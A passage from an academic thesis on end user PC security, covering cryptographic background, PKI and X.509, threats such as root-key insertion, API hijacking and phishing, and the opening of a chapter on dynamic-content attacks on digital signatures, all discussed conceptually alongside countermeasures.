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Abstract
End user computing environments, e.g. web browsers and PC operating
systems, are the target of a large number of attacks, both online and oﬄine.
The nature of these attacks varies from simple online attacks, such as user
tracking using cookies, to more sophisticated attacks on security protocols
and cryptographic algorithms. Other methods of attacks exist that target
end user applications that utilise and interact with cryptographic functions
provided by the PC operating system.
After providing a general introduction to the security techniques and pro-
tocols used in this thesis, a review of possible threats to end user comput-
ing environments is given, followed by a discussion of the countermeasures
needed to combat these threats. The contributions of this thesis include
three new approaches for enhancing the security of end user systems, to-
gether with an analysis and a prototype implementation of an end user
security enhancement tool. The following paragraphs summarise the three
main contributions of this thesis.
Digitally signing a digital document is a straightforward procedure; how-
6
ever, when the digital document contains dynamic content, the digital sig-
nature may remain valid but the viewed document may not be the same
as the document when viewed by the signer. A new solution is proposed
to solve the problem; the main idea behind the solution is to make the
application aware of the sensitive cryptographic function being requested.
In order to verify a digital signature computed on a document or any
other object (e.g. an executable), access to the public key corresponding
to the private key used to sign the document is required. Normally, the
public part of the key is made available in a digital ‘certificate’, which
is made up of the public key of the signer, the name of the signer, and
other data, all signed using the private signing key of a trusted third party
known as a Certification Authority (CA). To verify such a certificate, and
thereby obtain a trusted copy of the document signer’s public key, a trusted
copy of the CA’s public key is required. If a malicious party can insert a
fake CA public key into the list of CA public keys stored in a PC, then
this party could potentially do considerable harm to that PC, since this
malicious party could then forge signatures apparently created by other
entities. A method of achieving such an attack without attracting the
user’s attention is presented in this thesis. Countermeasures that can be
deployed to prevent the insertion of a fake root public key are discussed.
A suggested solution that can be used to detect and remove such fake keys
is presented, and a prototype implementation of this solution is described.
SSL/TLS supports mutual authentication, i.e. both server and client au-
thentication, using public key certificates. However, this optional feature
of SSL/TLS is not widely used because most end users do not have a cer-
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tified public key. Certain attacks rely on this fact, such as web spoofing
and phishing attacks. A method for supporting client-side SSL authen-
tication using trusted computing platforms is proposed. The proposed
approach makes a class of phishing attacks ineffective; moreover, the pro-
posed method can also be used to protect against other online attacks.
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Introduction
Contents
1.1 Motivation and Challenges . . . . . . . . . . . . . 21
1.2 Structure and Summary of Contributions . . . . 24
This chapter introduces the motivation for the research described in this
thesis. It also presents the overall structure of the thesis, and describes the
main contributions.
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1.1 Motivation and Challenges
1.1 Motivation and Challenges
In today’s interconnected world, many people rely on the internet for per-
forming tasks in a convenient way. These tasks range from sending greet-
ing cards using electronic mail, to paying bills and buying goods using
the world wide web and electronic commerce. The ease of use of Inter-
net applications such as email clients and web browsers, and the services
that they provide, has made use of the Internet very popular. Miniwatts1
states that the number of online users is increasing rapidly, and use of the
Internet worldwide grew by 182% between 2000 and 2005; it is expected
that this growth will continue.
The rapid increase in the number of online users, and corresponding in-
creases in the number of online applications and services, when combined
with the lack of widespread user security awareness and education, as dis-
cussed in [47, 48], has significantly increased the number of online frauds
and security attacks. According to SANS2 and Symantic3, the number of
online attacks is continuing to rise. Most of these attacks target end user
applications, such as the web browser and email client. A survey published
by Gartner Inc.4 shows that 2.4 million online users lost money directly
because of online attacks and fraud in the twelve months ending in May
2005. The same survey shows that the rise in online fraud and attacks
has affected user trust in security sensitive online services, such as online
banking and electronic commerce.
1http://www.internetworldstats.com
2http://www.sans.org
3http://www.symantic.com
4http://www.gartner.com
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The nature of attacks on online users varies from a simple user profiling
attack using tracking cookies, to more sophisticated attacks on crypto-
graphic algorithms and security protocols. Other methods of attack target
end user applications that utilise and interact with cryptographic functions
provided by a PC operating system [141, 142, 153, 157]. Attacks of this
latter type are becoming more common, and are generally achieved using
a malicious program, such as a trojan horse or a virus. The malicious
program exploits a security weakness in the end user application, which
allows it to gain control over the end user computing environment. More-
over, the malicious program could force the end user application to execute
a security sensitive task without user knowledge, as will be demonstrated
in Chapter 5.
Exploiting and attacking security-sensitive end user applications, and more
importantly finding countermeasures and solutions to enhance end user se-
curity and prevent such attacks, has motivated the research described in
this thesis. The attacks of particular concern are those that target applica-
tions that use the cryptographic services provided by the operating system,
such as public key cryptography and digital signatures. These attacks are
achieved by utilising the built-in services of the operating system, as well
as the end user graphical user interface.
The thesis of this dissertation is that the gap between client application
software and the cryptographic services provided by the operating system
and security system manufacturers has created a new opportunity for ma-
licious parties to launch attacks. In this document we use an “attacks
22
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and solutions” methodology to expose and probe the gap between client
application software and the security services provided by the operating
system or specialist security experts. This methodology demonstrates the
simplicity of attacking the gap between client application software and
the cryptographic services, as well as the dangerous consequences of such
attacks. It shows that a full collaboration between security experts and
application developers is required in order to avoid the risks created by
this gap.
For example, the web browser is one of the most widely used applica-
tions, and users interact with it on a regular basis. Web browsers use
the SSL/TLS protocol to encrypt and integrity protect sensitive data in
transit between a web client and a web server. SSL/TLS uses public key
cryptography and an underlying Public Key Infrastructure (PKI) for au-
thentication and key establishment. Exploiting the root of trust in the PKI
by installing a fake root public key in the end user PC key store without
user intervention challenges the entire basis of SSL/TLS security. After
achieving such an attack, the basis for authenticating external entities is
no longer sound, and as a result the whole computing environment is po-
tentially under attacker control. Here, as elsewhere, the lack of proper
protection for a security sensitive task, and the lack of user education and
awareness, has created the problem.
23
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1.2 Structure and Summary of Contributions
This section briefly outlines the structure of this thesis and highlights the
main research contributions. The thesis is divided into three parts. Part I
provides an overview of the security techniques and protocols used in this
thesis, as well as an overview of end user security threats and requirements.
Part II describes three attacks on an end user computing environment
and proposes three novel solutions to these attacks. Part III presents the
conclusions of the thesis. The following paragraphs describe the contents
and contributions of each part in more detail.
Part I: This part introduces the security techniques and protocols used
in this thesis. It also provides an overview of the field of end user security.
This part contains two chapters, as follows.
• Chapter 2: Provides an introduction to the security techniques and
protocols used throughout the thesis.
• Chapter 3: Introduces the threats to, and requirements for, an end
user computing environment, and reviews existing work in the field
of end user security.
Part II: Three novel solutions designed to enhance end user security are
discussed and analysed. This part contains four chapters, as follows.
• Chapter 4: Digitally signing a digital document is a straightforward
procedure; however, when the digital document contains dynamic
24
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content, the digital signature may remain valid but the viewed doc-
ument may not be the same as the document when viewed by the
signer. Other similar problems exist even with ‘static’ documents,
if the appearance of a document can be changed. In this chapter,
we consider previously proposed solutions for such problems, and
propose a new solution. Unresolved issues and problems are also
discussed.
• Chapter 5: If a malicious party can insert a self-issued CA public
key into the list of root public keys stored in a PC, then this party
could potentially do considerable harm to that PC. In this chapter,
we present a way to achieve such an attack for the Microsoft Internet
Explorer web browser root key store. This attack is designed so that
it avoids attracting the user’s attention. A realisation of this attack
is also described. Finally, countermeasures that can be deployed to
prevent such an attack are outlined.
• Chapter 6: While chapter 5 describes a method for maliciously
installing a fake root public key, this chapter discusses the issue of
detecting fake root public keys, and suggests a novel solution that
can be used to detect and remove them. Furthermore, a prototype
implementation of this solution is described.
• Chapter 7: Most web sites wishing to provide security services for
the client-server link use the SSL/TLS protocol for server authenti-
cation and secure session establishment. SSL/TLS supports mutual
authentication, i.e. both server and client authentication. However,
this optional feature of SSL/TLS is not used by most web sites be-
25
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cause not every client has a certified public key. Instead user au-
thentication is typically achieved by requiring the user to send a
password to the server after the establishment of an SSL-protected
channel. Certain attacks rely on this fact, such as web spoofing and
phishing attacks. In this chapter the issue of online user authentica-
tion is discussed, and a method for online user authentication using
trusted computing platforms is proposed. The proposed approach
makes a class of phishing attacks ineffective; moreover, the proposed
method can also be used to protect against other online attacks.
Part III: Presents the overall conclusion of the thesis, as follows.
• Chapter 8: presents the conclusions of the thesis and gives direc-
tions for further research.
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The aim of this preliminary chapter is to provide definitions of the security
techniques and protocols used in this thesis.
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2.1 Introduction
A comprehensive knowledge and understanding of the underlying security
techniques and protocols is required before the security of an infrastruc-
ture or an application can be properly analysed. This chapter introduces
the security techniques and protocols that are relevant to this thesis. A
more thorough and comprehensive introduction can be found, for example,
in [97, 130, 133].
2.2 Security Services
The four main security services that are of importance in this thesis are in-
tegrity, confidentiality, authentication, and non-repudiation. The following
definitions are based on the those given in [29, 45, 68, 97, 136].
2.2.1 Integrity
An integrity service provides protection for data against unauthorised mod-
ification. Modifications to data includes such things as insertion, deletion,
and substitution.
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2.2.2 Confidentiality
A confidentiality service provides protection for information against unau-
thorised access or disclosure. As defined by Ford [45], ‘confidentiality ser-
vices protect against information being disclosed or revealed to entities not
authorised to have that information’.
2.2.3 Authentication
The authentication service is usually subdivided into entity authentication
and data origin or message authentication.
1. Entity authentication: provides assurance to one party of the
identity of a second party involved in a protocol, and that the second
party has actually participated.
2. Data origin authentication: provides assurance to a party receiv-
ing a message of the identity of the party who sent it. Data origin au-
thentication does not protect the message against modification (this
requires data integrity).
2.2.4 Non-repudiation
Non-repudiation services provide assurance that another entity cannot
falsely denying sending or receiving data. The non-repudiation service
30
2.3 Cryptographic Hash Functions
can be subdivided into non-repudiation with proof of origin and non-
repudiation with proof of delivery.
2.3 Cryptographic Hash Functions
A cryptographic hash function, see for example [97, Chapter 9] or [133,
Chapter 10], is a function h that takes a message m of any size as input
and produces a fixed size output, called a hash value or a message digest.
A hash function must be easy to compute. Moreover, a cryptographic hash
function must satisfy the following additional three properties.
• Preimage resistance: given a value s from the range of h, it is infea-
sible to find a message m such that h(m) = s.
• 2nd-preimage resistance: given a random message m, it must be
computationally infeasible to find another message m′ that hashes to
the same hash code, i.e. m 6= m′ and h(m) = h(m′).
• Collision resistance: it must be computationally infeasible to find
two messages m,m′ (where m 6= m′) such that h(m) = h(m′).
Cryptographic hash functions are a very important component of many
digital signature schemes. Two of the most commonly used hash functions
are the ‘Secure Hash Algorithm 1’ (SHA-1) [111] and ‘Message-Digest Al-
gorithm 5’ (MD5) [123]. For cryptographic hash function standards, see
for example [73, 74, 75, 76].
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2.4 Symmetric Cryptography
Symmetric or secret key cryptographic schemes use the same secret key,
or two keys easily computed from each other, for both the sender and the
receiver of a protected message. The secret key is typically shared between
two or more communicating parties prior to its use to secure a communi-
cation channel. One major issue for the use of symmetric cryptography is
how to securely exchange the secret key. A variety of different techniques
exist for sharing and distributing secret keys, see for example [97, Chapter
13].
2.4.1 Symmetric Encryption
Symmetric encryption techniques use the same secret key for encryption
and decryption [78]. Encrypting a message m requires access to the secret
key k to produce the ciphertext c. There are two main types of symmetric
cipher, namely block ciphers and stream ciphers. In order to use a block
cipher it is necessary to break up the message to be encrypted into blocks
of a fixed length, and encrypt one block at a time. Stream ciphers, by con-
trast, use a pseudorandom sequence (generated as a function of the secret
key) to encrypt a message one bit at a time. Examples of symmetric en-
cryption algorithms include DES [110] and AES [113]; see, for example, [97]
for more information regarding symmetric encryption algorithms.
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2.4.2 Message Authentication Codes
AMessage Authentication Code (MAC) is a mechanism that provides both
data integrity and data origin authentication. The original message m and
the secret key k are required to compute a MAC as well as to verify it.
Typically, a MAC is sent or stored with the message that it protects. A
variety of MAC computation standards exist; see, for example, [72].
2.5 Asymmetric Cryptography
In 1976, Diffie and Hellman [32] introduced the use of asymmetric, or
public key, cryptography to enable secure communications between parties
that do not share secrets. Unlike symmetric cryptographic techniques,
asymmetric cryptographic schemes require each participant to possess a
matching pair of distinct keys (a public key and a private key) instead
of a shared secret key. The private key must be kept secret and well
protected, while the public key can be published to make it available to
other interested parties. However, the authenticity and integrity of the
public key must be ensured. As discussed in section 2.6, a Public Key
Infrastructure (PKI) [46] can be used to overcome the problem of public
key management and distribution. Other techniques to solve the problems
of public key management and distribution are ‘webs of trust’, e.g. as used
in Pretty Good Privacy (PGP) [50], and Simple Public Key Infrastructure
(SPKI) [37].
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2.5.1 Asymmetric Encryption
In an asymmetric encryption scheme, the public key e is used for encryption
and the corresponding private key d is used for decryption. If an entity B
wants to send an encrypted version of a message m to another entity A, it
should first obtains A’s public key e and then encrypt m using e to obtain
the ciphertext c = Ee(m). To decrypt the received ciphertext c, A uses its
private key d to obtain the plaintext message m = Dd(c).
The main objective of public key encryption is to provide privacy or con-
fidentiality. One of the most widely discussed public key encryption algo-
rithms is RSA [124], which was published by Rivest, Shamir, and Adleman
in 1978. Standard specifications for public key cryptography can be found
in [79].
2.5.2 Digital Signatures
Digital signatures (see, for example [97, Chapter 11]) are a very important
asymmetric cryptographic primitive. A digital signature of a message is
a value dependent on a private key known only to the signer, and on the
content of the message being signed. The main security services that can
be provided by a digital signature are: message integrity, origin authenti-
cation, and non-repudiation. One of the most commonly used applications
of digital signatures is the certification, or digital signing, of public keys.
A digital signature scheme consists of a key generation algorithm, a sig-
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nature generation algorithm, and a signature verification algorithm. The
key generation algorithm produces a new key pair, made up of a private
or signing key s and a public or verification key v. The signing key s
must be kept secret while the verification key v should be accessible to all
interested parties. The signature generation algorithm takes the signing
key s and the message m as inputs, and generates the digital signature sig
as output. The signature verification algorithm takes a verification key v,
a digital signature sig, and the message m as inputs. It outputs either
accept, if the digital signature sig corresponds to the message m, or reject,
if the digital signature sig does not correspond to the message m.
The RSA cryptographic primitive can be used as the basis of one of the
most widely used digital signature techniques. Other digital signature
techniques exist, such as the Digital Signature Algorithm (DSA) [90] and
the ElGamal [36] signature schemes. Both national and international
standards for signatures exist, including the US Digital Signature Stan-
dard (DSS) [112], which specifies a suite of recommended algorithms,
and two multi-part ISO/IEC standards, ISO/IEC 9796 [71] and ISO/IEC
14888 [77].
2.6 Public Key Infrastructure
As already discussed, the term PKI refers to a system established to sup-
port the management and distribution of public keys. In a typical PKI,
a special trusted third party (TTP) known as a Certification Authority
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(CA) is responsible for establishing and vouching for the authenticity of
public keys. The main task of a CA is to issue, i.e. digitally sign, public
key certificates. A public key certificate binds a public key to an identifier
or a distinguished name. X.509 [80] standardises a widely used format for
public key certificates.
A typical certificate issuing process involves verifying the identity of the
entity requesting the public key certificate, and receiving the public key
of the entity. When the entity identity has been verified, the CA uses its
own private key to digitally sign the public key certificate. The correct
functioning of a PKI relies on CAs operating correctly. Moreover, users
of a PKI must have trusted copies of the public keys of one of more of
these CAs in order to be able to verify the public key certificates that
the CAs produce [24]. Such CA public keys are usually referred to as
root public keys. Many internet applications [107], e.g. online banking
and e-commerce, rely on PKI functionality to support the security services
necessary to ensure the authenticity, integrity, and confidentiality of the
communications.
2.7 X.509 Certificates
The certificate format defined in X.509 [80] is one of the most commonly
used such formats. Examples of protocols that support the X.509 cer-
tificate format include the Secure Socket Layer/Transport Layer Secu-
rity (SSL/TLS) protocol [31, 122, 140], the Secure Shell (SSH) proto-
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col [13, 121], and the IPsec protocol [93, 33]. An X.509 v3 certificate
contains the following fields [64].
• Certificate: This is the main certificate information structure, which
contains the following fields.
1. Version: This field describes the version of the encoded certifi-
cate.
2. Serial Number: The serial number is a unique number assigned
by the CA to every issued certificate.
3. Algorithm ID: This field contains the algorithm identifier for the
cryptographic algorithm used by the CA to sign the certificate,
e.g. RSA with MD5, or DSA with SHA-1.
4. Issuer: The issuer field identifies the entity who signed and
issued the certificate.
5. Validity: This field contains the following two sub-fields.
– Not Before: The certificate is not valid before the specified
date in this field.
– Not After: The certificate is not valid after the specified
date in this field.
6. Subject: This field identifies the entity associated with the pub-
lic key stored in the Subject Public Key field. For a self-signed
certificate, i.e. a self-issued CA certificate, this field is the same
as the Issuer field.
7. Subject Public Key Info: This field contains the following two
sub-fields.
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– Public Key Algorithm: This identifies the algorithm with
which the subject public key is to be used.
– Subject Public Key: This contains the public key of the
certificate owner.
8. Issuer Unique Identifier: This field was introduced in X.509
version 2, and is used to handle the possibility of re-use of an
issuer name over time.
9. Subject Unique Identifier: This field was introduced in X.509
version 2, and is used to handle the possibility of re-use of a
subject name over time.
10. Extensions: This field was introduced in X.509 version 3, and
contains a list of certificate extensions. The Extensions field
provides methods for associating additional attributes with users
or public keys.
• Certificate Signature Algorithm: This field contains the algo-
rithm identifier for the algorithm used by the CA to sign the cer-
tificate (this value is typically the same as the third field in the
Certificate).
• Certificate Signature: This field contains a digital signature com-
puted upon the ASN.1 DER encoded ‘Certificate’ field. Abstract
Syntax Notation One (ASN.1) [34, 69, 81] is an ISO/ITU-T standard
syntax for describing data structures, to be used by communicating
applications. ASN.1 is machine independent, and does not restrict
the way the information is encoded by end hosts. Associated with
ASN.1 are standards for encoding rules, including the Distinguished
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Encoding Rules (DER), Basic Encoding Rules (BER), and Canonical
Encoding Rules (CER) [70, 82].
39
Chapter 3
End User Security
Contents
3.1 Introduction . . . . . . . . . . . . . . . . . . . . . 41
3.2 Requirements and Threats . . . . . . . . . . . . . 43
3.2.1 OS and API Security . . . . . . . . . . . . . . . . 44
3.2.2 Public Key Certificate Store . . . . . . . . . . . . 45
3.2.3 Active Content . . . . . . . . . . . . . . . . . . . 45
3.2.4 Identity Theft . . . . . . . . . . . . . . . . . . . . 46
This chapter outlines some of the most serious security threats that apply
to end user PCs.
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3.1 Introduction
An end user can be defined as “a person, device, program or computer
system that utilises a computer network for the purpose of data processing
and information exchange” [139]. An end user is “the person who uses a
computer application, as opposed to those who developed or support it.
The end user may or may not know anything about computers, how they
work, or what to do if something goes wrong. End users do not usually
have administrative responsibilities or privileges. End users are certain to
have a different set of assumptions than the developers who created the
application” [109].
Another definition of end user, from The Online Dictionary for Computer
and Internet Technology Definitions [155], is “The final or ultimate user
of a computer system. The end user is the individual who uses the prod-
uct after it has been fully developed and marketed. The term is useful
because it distinguishes two classes of users, users who require a bug-free
and finished product (end users), and users who may use the same product
for development purposes. The term end user usually implies an individ-
ual with a relatively low level of computer expertise. Unless you are a
programmer or engineer, you are almost certainly an end user.”
Typically, end users employ a client application to access and process in-
formation. The information is either stored locally, e.g. on a hard disk, or
on a remote (networked) server, e.g. a web server. In the latter case, the
user needs to have an adequate network infrastructure to be able to access
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the remote server. Figure 3.1 illustrates a typical client-server architecture
model.
Server,
e.g. web server
Network Infrastrucutre
Client,
e.g. web browser
Figure 3.1: Client-Server Architecture
All the three components in the client-server architecture model will typ-
ically be protected against both online and oﬄine attacks. The remote
server should be protected by installing a hardware or software firewall [22,
162] which addresses threats to the network infrastructure. Also, an Intru-
sion Detection and Prevention System (IDS/IPS) [20, 89] is often deployed
to protect against malicious attacks. Special care should be taken to se-
cure end user information stored on remote servers. However, securing
and protecting the remote server is outside the scope of this thesis. The
interested reader is referred to [3, 21, 49].
Moreover, both end user network and workstation also need to be pro-
tected. Schneier wrote that “Security is only as good as its weakest link,
and people are the weakest link in the chain” [131]. Enhancing the security
of the end user computing environment is discussed in greater detail in the
following sections.
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3.2 Requirements and Threats
We first identify the three main requirements for securing an end user
computing environment [3].
• Confidentiality: End user sensitive information may be disclosed
inappropriately. Possible scenarios in which threats to the confiden-
tiality of end user information may arise are as follows.
1. Unauthorised users could gain access to the end user informa-
tion.
2. Authorised users could gain access to sensitive end user infor-
mation that they are not authorised to access.
3. Authorised users could expose and transmit unprotected sensi-
tive user information over the network.
• Integrity: The integrity of the information stored on the end user
computing environment may be damaged either accidentally or ma-
liciously.
• Availability: The end user computing environment may become
unavailable, e.g. because of deleted or inaccessible information.
Possible security threats and countermeasures that are of importance in
this thesis are discussed in more detail below, and are summarised in Fig-
ures 3.2.
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3.2.1 OS and API Security
Most modern operating systems, e.g. the Microsoft Windows family of op-
erating systems, provide cryptographic services, such as digital signatures
and public key encryption [67, 115, 137] for end user applications. Gen-
erally, the cryptographic services are provided as a Dynamically Linked
Library (DLL) and applications can access and invoke the services through
an Application Programming Interface (API). An API [54, 127] is an inter-
face that enables independent software components to communicate with
each other. Attacks against the API itself have been described, including
API call interception (i.e. API hijacking) [94]. The objective of an API
hijacking attack is to ‘hijack’ calls from an application to the system API.
The method of achieving such an attack varies from one operating sys-
tem to another. In the case of Microsoft Windows OS, the attack can be
achieved by using the DLL delayed loading [119] and Windows Hooks [41]
features.
Another issue of particular concern for this thesis is the usability of the OS
services and the end user application [26, 57, 60] and the effect that the
requirement for usability has on security. Attacks, as is demonstrated in
Chapter 5, rely on the fact that many software developers and end users
often sacrifice security in favour of usability [156].
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3.2.2 Public Key Certificate Store
As already discussed in Chapter 2, public key cryptography and PKI allow
secure communication between two entities without the prior sharing of
a secret key. SSL/TLS is one of the most widely used applications of
PKI. Modern browsers, such Internet Explorer (IE) and Netscape, have
a personal root public key store which is used to support SSL/TLS. One
important issue for PKI implementations on a personal computer is the
security of root public key store. Marchesini et al. [95] describe a method
where the root public key store can be used to authenticate requests that
the end user neither knew of nor approved.
Gutmann [55] analyses the requirements for a general-purpose certificate
store and suggests possible approaches to the design of a certificate store
that provides reliability, availability and error recovery. Gutmann [56] also
proposes a PKI bootstrap protocol equivalent to the DHCP or BOOTP
protocols. The proposed protocol provides automatic and transparent con-
figuration and setup of the certificate information.
3.2.3 Active Content
Active or dynamic content refers to executable code embedded in a digital
document. The executable code could be an ActiveX control [28], a Java
applet [43], a JavaScript [44] embedded in an HTML document, or a VB-
Script [92] macro in a Microsoft Word document. Typically, active content
is used to present information to the user in response to a user action.
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The dynamic content feature of digital documents has its own security
issues. A variety of techniques to control the active content in a digital
document have been proposed. For example, a Java applet embedded in
an HTML document is controlled by the sandbox security model [108, 96].
The sandbox security model protects the end user computing environment
by enforcing access control to system resources, e.g. by preventing a Java
applet from reading or writing to the file system. On the other hand, Ac-
tiveX controls have no security mechanisms other than code signing [65].
Depending on the browser’s security settings, unsigned ActiveX controls
may be executed without warning the user. Hopwood [63] compares the se-
curity features of both Java and ActiveX controls. Michener and Acar [98]
describe a method to manage the update of downloaded signed ActiveX
controls. Anupam and Mayer [10] propose a security framework for script-
ing languages.
In Chapter 4 an attack on digital signatures using dynamic content is
described in greater detail.
3.2.4 Identity Theft
Online identity theft, e.g. via web spoofing and phishing [27, 42, 53, 83],
involves a malicious party obtaining end user’s confidential information.
There are a variety of types of phishing attacks [39, 84, 132], as follows.
1. Deceptive Attacks: This is the most commonly used type of phish-
ing attack, in which the user is persuaded by an email message to
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give a malicious entity confidential information.
2. Malicious Software Attacks: In this type of phishing attack, a
malicious piece of software leaks the user confidential information to
an outsider.
3. DNS-based Attacks: In this type of phishing attack, the attacker
changes the DNS record used to convert a domain name to a numer-
ical address. There are many ways to achieve such an attack, such
as DNS cache poisoning and DNS ID spoofing [128]. After changing
the IP address of the genuine server, the attacker can set up a fake
server with an IP address that matches the new DNS record, and use
this to gather user confidential information.
One possible scenario for a phishing attack, a form of the deceptive attack
described above, arises when an attacker creates a spoofed web site that
looks identical to a genuine web site, and convinces the victim to visit
the spoofed web site (e.g. by including a URL in a faked email). When
the victim navigates to the spoofed web site, an information gathering
page is displayed to obtain the victim’s personal information. Once the
victim’s authentication credentials, e.g. username and password, have been
captured, the attacker can impersonate the user to the genuine web site.
Other possible scenarios exist, as discussed in [39]. However, all possible
scenarios have the same main objective, i.e. the capture of user confidential
information.
Protecting end users from online identity theft is an active research area.
Countermeasures have been proposed to address the problem of online
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identity theft, for example, using browser plug-ins and digitally signed
emails [114]. Chou et al. [23] describe a browser plug-in called “Spoof-
Guard” that protects end users from identity theft attacks. SpoofGuard
applies a number of tests to every downloaded web page and combines
the results using a scoring mechanism to determine if the downloaded web
page is spoofed.
Miyamoto et al. [104] propose applying a simple filtering algorithm, as part
of the Sanitizing Proxy System (SPS), via a proxy system to block phish-
ing attacks. SPS avoids phishing attacks by removing part of the HTML
document that enables novice users to input personal data. Another so-
lution proposed by Adida et al. [1, 2] involves using identity-based digital
signatures to make email trustworthy.
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Figure 3.2: Possible Security Threats in a Client-Server Architecture
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Dynamic Content Attacks on Digital
Signatures
Contents
4.1 Introduction . . . . . . . . . . . . . . . . . . . . . 53
4.2 The Signature Interpretation Problem . . . . . . 54
4.3 Signature Functionality . . . . . . . . . . . . . . . 55
4.4 Existing Solutions . . . . . . . . . . . . . . . . . . 57
4.4.1 Disabling Dynamic Content . . . . . . . . . . . . 57
4.4.2 Static File Formats . . . . . . . . . . . . . . . . . 57
4.4.3 XML . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.4.4 Document Parser . . . . . . . . . . . . . . . . . . 59
4.4.5 Graphics Version . . . . . . . . . . . . . . . . . . 60
4.5 A New Solution . . . . . . . . . . . . . . . . . . . 62
4.5.1 Application Awareness . . . . . . . . . . . . . . . 63
4.5.2 Signing a Digital Document . . . . . . . . . . . . 64
4.5.3 Verifying a Signed Document . . . . . . . . . . . 65
4.6 Security Analysis . . . . . . . . . . . . . . . . . . . 66
4.6.1 File Type Attacks . . . . . . . . . . . . . . . . . 66
4.6.2 Document Parsing . . . . . . . . . . . . . . . . . 68
4.6.3 Changes to Documents . . . . . . . . . . . . . . . 69
4.7 Conclusions . . . . . . . . . . . . . . . . . . . . . . 70
Digitally signing a digital document is a straightforward procedure; how-
ever, when the digital document contains dynamic content, the digital sig-
nature may remain valid but the viewed document may not be the same as
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the document when viewed by the signer. Other similar problems exist even
with ‘static’ documents, if the appearance of a document can be changed.
In this chapter, we consider previously proposed solutions for such prob-
lems, and propose a new solution. Unresolved issues and problems are also
discussed.
Note that much of the material in this chapter has previously been published
in [4, 5].
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4.1 Introduction
As discussed in Chapter 2, digital signatures are a very important crypto-
graphic primitive, which can be used to provide message integrity, origin
authentication and non-repudiation. Digitally signing a digital document
is a straightforward procedure, and it is important to note that all the
existing standards for signatures, including the DSS and the ISO/IEC
standards, are concerned with which algorithms to use and not the form
of the data that is signed.
As pointed out by Kain et al. [86, 87], digital documents with dynamic
content may cause a problem for the digital signature verification process.
This chapter tries to address some of the problems that arise when signing
digital documents that contain dynamic content. It does not discuss other
digital signature security problems such as Trojan Horses or securing the
Digital Signature workstation, as discussed, for example, in [14, 18, 134,
154].
The rest of the chapter is organised as follows. Section 4.2 briefly in-
troduces the problem of signing digital documents with dynamic content.
Section 4.3 discusses possible locations for signature functionality in a com-
puter system. Existing solutions to the problems discussed in Section 4.2
are introduced in Section 4.4. A novel solution is discussed in Section 4.5,
and analysed in Section 4.6. Finally, issues and unresolved problems are
discussed in Section 4.7.
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4.2 The Signature Interpretation Problem
In order for a program to generate a digital signature on a data struc-
ture, e.g. a document, it must first encode it as a serial string of bits and
bytes. It is then expected that the signature will unambiguously commit
the signer to the contents of this serialised document. However, ambigui-
ties can arise in the interpretation of the data string when this string can
be viewed differently by the signer and the verifier of the signature. That
is, it is possible to sign a digital document that changes when viewed at
a later time, without invalidating the digital signature. One way in which
this problem can arise is when the digital document being signed contains
dynamic content.
As an example, suppose that the creator of the digital document is different
from the signer. The creator produces the document in such a way that
it gives the signer the impression that what he is about to sign is what is
being displayed. However, the creator may embed dynamic content, e.g.
macros or JavaScript, in the document to change its displayed contents
when viewed at a later time.
Kain et al. [87] describe the problem and gave some examples using MS
Word, MS Excel, PDF files, as well as HTML documents. Zanero [161]
discusses the problem in relation to the Italian legal digital signature frame-
work; he concludes that most digital signature applications are vulnerable
to the dynamic content attack. A different source of ambiguities in digitally
signed documents was discussed by Jøsang et al. [85]. Jøsang et al. show
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how font substitution can be used to display the same digital document
with different meanings on different computers.
Whilst there are, no doubt, yet further ways in which ambiguities can be
deliberately or accidentally introduced into digital documents, the main
focus of this chapter is problems arising from dynamic content. This is a
significant and growing problem — whether we like it or not, document
formats appear to be becoming more complex and more dynamic, rather
than less so. Of course, this enables many new features to be provided
to users; this appears to be yet another area where user convenience and
security are pulling in opposite directions.
4.3 Signature Functionality
Signature functionality can be integrated into a specific application or im-
plemented as a stand-alone application, see Figure 4.1. If digital signature
functionality is integrated into an application, the application is aware
of the document format and could be designed to avoid possible digital
signature interpretation issues arising from dynamic content. Moreover,
the application could act as a “trusted viewer” for the digital document.
However, this is not really a viable general approach, since including signa-
ture functionality in every application is potentially very inefficient, with
significant associated key management issues.
On the other hand, when a stand-alone signature application is used, the
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problem of dynamic content can be much more serious, since the digital sig-
nature program is typically not aware of the format of the document being
signed. One way of avoiding this problem would be to enable the signing
application to communicate with the application which understands the
document format. This idea forms the basis of the scheme we propose in
Section 4.5 below. Of course, the security of the signing process also relies
on the integrity and secrecy of the private signing key, and on controls to
limit its use. The private key must thus be protected in some way, e.g. by
storing it in a security module such as a smart card, and requiring entry
of a password to enable its use.
B. Stand alone Digital Signature functionality
Application Application
Digital signature
DS functionality
A. Application integrated Digital Signature functionality
Application
Figure 4.1: Location of digital signature functionality in a computer system
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4.4 Existing Solutions
In this section, previously proposed solutions to the problem of signing
digital documents possessing dynamic content are briefly reviewed. Inter-
estingly, all these solutions fall into the second category discussed above,
i.e. they apply to the case where signature functionality is included in a
stand-alone application.
4.4.1 Disabling Dynamic Content
Disabling dynamic or active content, as proposed by Spalka et al. [135],
is one solution to this problem. However, this solution may render some
documents useless. Spalka et al. propose two further ways to solve the
problem of dynamic content. One is to restrict the actions of active content
instead of disabling it, although this would require re-engineering every
application. The other approach is to use a ‘secure viewer’ to view signed
documents, but this would require the viewer to be able to parse every
possible document format (see also Section 4.4.4).
4.4.2 Static File Formats
In this approach, only predefined static file formats, known not to have dy-
namic content, are permitted to be signed [87]. For example, plain ASCII
files have no dynamic content, so the digital signature program can sign
them without worrying about ambiguity issues. However, this may mean
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that only one file format can be digitally signed, because most digital doc-
ument formats permit some sort of dynamic content. This approach may
be useful in situations where all digital documents to be signed have no
dynamic content features, such as macros, JavaScript, or HTML capabili-
ties.
4.4.3 XML
Another solution would be to convert the digital document to the Extensi-
ble Markup Language (XML) format [152] and then apply the XML digital
signature processing standard [35] to obtain the document signature. This
does appear to help to solve the problem, but dynamic content may still
exist in the XML version. When the document is later presented to the
signature verifier, if it is necessary to convert the document back to its
original form, the dynamic content may be re-activated.
The authors of the XML digital signature standard are aware of the prob-
lem of dynamic or active content. The standard states clearly that, in order
to sign an XML document, the signature program should sign all ‘exter-
nal’ documents, i.e. documents referenced from within the XML document.
The following is a quote from the standard [35]:
Just as a user should only sign what it “sees,” persons and au-
tomated mechanisms that trust the validity of a transformed
document on the basis of a valid signature should operate
over the data that was transformed (including canonicaliza-
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tion) and signed, not the original pre-transformed data. This
recommendation applies to transforms specified within the sig-
nature as well as those included as part of the document it-
self. For instance, if an XML document includes an embedded
style sheet [25] it is the transformed document that should be
represented to the user and signed. To meet this recommenda-
tion where a document references an external style sheet, the
